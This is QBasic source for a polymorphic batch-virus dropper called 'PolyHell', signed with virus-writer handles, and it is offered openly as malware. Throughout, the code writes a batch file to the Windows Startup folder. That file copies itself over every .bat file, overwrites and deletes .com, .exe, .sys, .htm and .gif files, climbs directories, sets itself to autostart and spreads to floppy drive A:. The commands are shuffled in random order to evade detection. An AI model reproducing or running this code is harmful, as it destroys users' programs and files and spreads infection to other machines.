CLS REM Dropper.Bat.PolyHell REM BY SeCoNd PaRt To HeLl REM REM PLEASE INCLUDE ALL THIS VIRUSES IN YOUR PORGRAM!! THANKS, McHit ;-) REM THERE ARE ONLY 861 VIRUSES... OPEN "C:\Windows\Startm~1\Progra~1\Autost~1\many.bat" FOR OUTPUT AS #1 PRINT #1, "ctty NUL" PRINT #1, "goto aa" RANDOMIZE TIMER polym: poly = INT(RND * 41) + 1 IF poly = 1 THEN IF sign = 0 THEN GOTO sign IF poly = 2 THEN IF aa = 0 THEN GOTO aa IF poly = 3 THEN IF ab = 0 THEN GOTO ab IF poly = 4 THEN IF ac = 0 THEN GOTO ac IF poly = 5 THEN IF ad = 0 THEN GOTO ad IF poly = 6 THEN IF ae = 0 THEN GOTO ae IF poly = 7 THEN IF af = 0 THEN GOTO af IF poly = 8 THEN IF ag = 0 THEN GOTO ag IF poly = 9 THEN IF ah = 0 THEN GOTO ah IF poly = 10 THEN IF ai = 0 THEN GOTO ai IF poly = 11 THEN IF aj = 0 THEN GOTO aj IF poly = 12 THEN IF ak = 0 THEN GOTO ak IF poly = 13 THEN IF al = 0 THEN GOTO al IF poly = 14 THEN IF am = 0 THEN GOTO am IF poly = 15 THEN IF an = 0 THEN GOTO an IF poly = 16 THEN IF ao = 0 THEN GOTO ao IF poly = 17 THEN IF ap = 0 THEN GOTO ap IF poly = 18 THEN IF aq = 0 THEN GOTO aq IF poly = 19 THEN IF ar = 0 THEN GOTO ar IF poly = 20 THEN IF aas = 0 THEN GOTO aas IF poly = 21 THEN IF at = 0 THEN GOTO at IF poly = 22 THEN IF au = 0 THEN GOTO au IF poly = 23 THEN IF av = 0 THEN GOTO av IF poly = 24 THEN IF aw = 0 THEN GOTO aw IF poly = 25 THEN IF ax = 0 THEN GOTO ax IF poly = 26 THEN IF ay = 0 THEN GOTO ay IF poly = 27 THEN IF az = 0 THEN GOTO az IF poly = 28 THEN IF ba = 0 THEN GOTO ba IF poly = 29 THEN IF bb = 0 THEN GOTO bb IF poly = 30 THEN IF bc = 0 THEN GOTO bc IF poly = 31 THEN IF bd = 0 THEN GOTO bd IF poly = 32 THEN IF be = 0 THEN GOTO be IF poly = 33 THEN IF bf = 0 THEN GOTO bf IF poly = 34 THEN IF bg = 0 THEN GOTO bg IF poly = 35 THEN IF bh = 0 THEN GOTO bh IF poly = 36 THEN IF bi = 0 THEN GOTO bi IF poly = 37 THEN IF bj = 0 THEN GOTO bj IF poly = 38 THEN IF bk = 0 THEN GOTO bk IF poly = 39 THEN IF bl = 0 THEN GOTO bl IF poly = 40 THEN IF bm = 0 THEN GOTO bm IF poly = 41 THEN IF bn = 0 THEN GOTO bn GOTO polym sign: PRINT #1, "REM BAT.POLYHELL" PRINT #1, "REM BY McHit" sign = 1 GOTO polym aa: PRINT #1, ":aa" PRINT #1, "For %%H in (*.bat) do copy %0 %%H" PRINT #1, "goto ab" aa = 1 GOTO polym ab: PRINT #1, ":ab" PRINT #1, "copy *.com *.bat" PRINT #1, "goto ac" ab = 1 GOTO polym ac: PRINT #1, ":ac" PRINT #1, "del *.com" PRINT #1, "goto ad" ac = 1 GOTO polym ad: PRINT #1, ":ad" PRINT #1, "copy *.exe *.bat" PRINT #1, "goto ae" ad = 1 GOTO polym ae: PRINT #1, ":ae" PRINT #1, "del *.exe" PRINT #1, "goto af" ae = 1 GOTO polym af: PRINT #1, ":af" PRINT #1, "copy *.sys *.bat" PRINT #1, "goto ag" af = 1 GOTO polym ag: PRINT #1, ":ag" PRINT #1, "del *.sys" PRINT #1, "goto ah" ag = 1 GOTO polym ah: PRINT #1, ":ah" PRINT #1, "copy *.htm *.bat" PRINT #1, "goto ab" ah = 1 GOTO polym ai: PRINT #1, ":ai" PRINT #1, "del *.htm" PRINT #1, "goto aj" ai = 1 GOTO polym aj: PRINT #1, ":aj" PRINT #1, "copy *.gif *.bat" PRINT #1, "goto ak" aj = 1 GOTO polym ak: PRINT #1, ":ak" PRINT #1, "del *.gif" PRINT #1, "goto al" ak = 1 GOTO polym al: PRINT #1, ":al" PRINT #1, "For %%e in (*.bat) do copy %0 %%e" PRINT #1, "goto am" al = 1 GOTO polym am: PRINT #1, ":am" PRINT #1, "cd.." PRINT #1, "goto an" am = 1 GOTO polym an: PRINT #1, ":an" PRINT #1, ": BatInfectornext" PRINT #1, "goto ao" an = 1 GOTO polym ao: PRINT #1, ":ao" PRINT #1, "For %%ll in (*.bat) do copy %0 %%ll" PRINT #1, "goto ap" ao = 1 GOTO polym ap: PRINT #1, ":ap" PRINT #1, ": OthersInfectornext" PRINT #1, "goto aq" ap = 1 GOTO polym aq: PRINT #1, ":aq" PRINT #1, "copy *.com *.bat" PRINT #1, "goto ar" aq = 1 GOTO polym ar: PRINT #1, ":ar" PRINT #1, "del *.com" PRINT #1, "goto as" ar = 1 GOTO polym aas: PRINT #1, ":as" PRINT #1, "copy *.exe *.bat" PRINT #1, "goto at" aas = 1 GOTO polym at: PRINT #1, ":at" PRINT #1, "del *.exe" PRINT #1, "goto au" at = 1 GOTO polym au: PRINT #1, ":au" PRINT #1, "copy *.sys *.bat" PRINT #1, "goto av" au = 1 GOTO polym av: PRINT #1, ":av" PRINT #1, "del *.sys" PRINT #1, "goto aw" av = 1 GOTO polym aw: PRINT #1, ":aw" PRINT #1, "copy *.htm *.bat" PRINT #1, "goto ax" aw = 1 GOTO polym ax: PRINT #1, ":ax" PRINT #1, "del *.htm" PRINT #1, "goto ay" ax = 1 GOTO polym ay: PRINT #1, ":ay" PRINT #1, "copy *.gif *.bat" PRINT #1, "goto az" ay = 1 GOTO polym az: PRINT #1, ":az" PRINT #1, "del *.gif" PRINT #1, "goto ba" az = 1 GOTO polym ba: PRINT #1, ":ba" PRINT #1, "For %%MH in (*.bat) do copy %0 %%MH" PRINT #1, "goto bb" ba = 1 GOTO polym bb: PRINT #1, ":bb" PRINT #1, "cd.." PRINT #1, "goto bc" bb = 1 GOTO polym bc: PRINT #1, ":bc" PRINT #1, ": worming" PRINT #1, "goto bd" bc = 1 GOTO polym bd: PRINT #1, ":bd" PRINT #1, "copy %0 %WinDir%\Startm~1\progra~1\autost~1\AutoData.bat" PRINT #1, "goto be" bd = 1 GOTO polym be: PRINT #1, ":be" PRINT #1, "If exist A:\*.* goto wbat" PRINT #1, "goto bf" be = 1 GOTO polym bf: PRINT #1, ":bf" PRINT #1, "GOTO copyy" PRINT #1, "goto bg" bf = 1 GOTO polym bg: PRINT #1, ":bg" PRINT #1, ": wbat" PRINT #1, "goto bh" bg = 1 GOTO polym bh: PRINT #1, ":bh" PRINT #1, "For %%l in (A:\*.*) do copy %0 %l" PRINT #1, "goto bi" bh = 1 GOTO polym bi: PRINT #1, ":bi" PRINT #1, ": copyy" PRINT #1, "goto bj" bi = 1 GOTO polym bj: PRINT #1, ":bj" PRINT #1, "copy %0 A:\*.bat" PRINT #1, "goto bk" bj = 1 GOTO polym bk: PRINT #1, ":bk" PRINT #1, "cd.." PRINT #1, "goto bl" bk = 1 GOTO polym bl: PRINT #1, ":bl" PRINT #1, "For %%SaTaN in (*.bat) do copy %0 %%SaTaN" PRINT #1, "goto bm" bl = 1 GOTO polym bm: PRINT #1, ":bm" PRINT #1, "cd.." PRINT #1, "goto bn" bm = 1 GOTO polym bn: PRINT #1, ":bn" PRINT #1, "For %%NoBoDyS in (*.bat) do copy %0 %%NoBoDyS" bn = 1 GOTO polym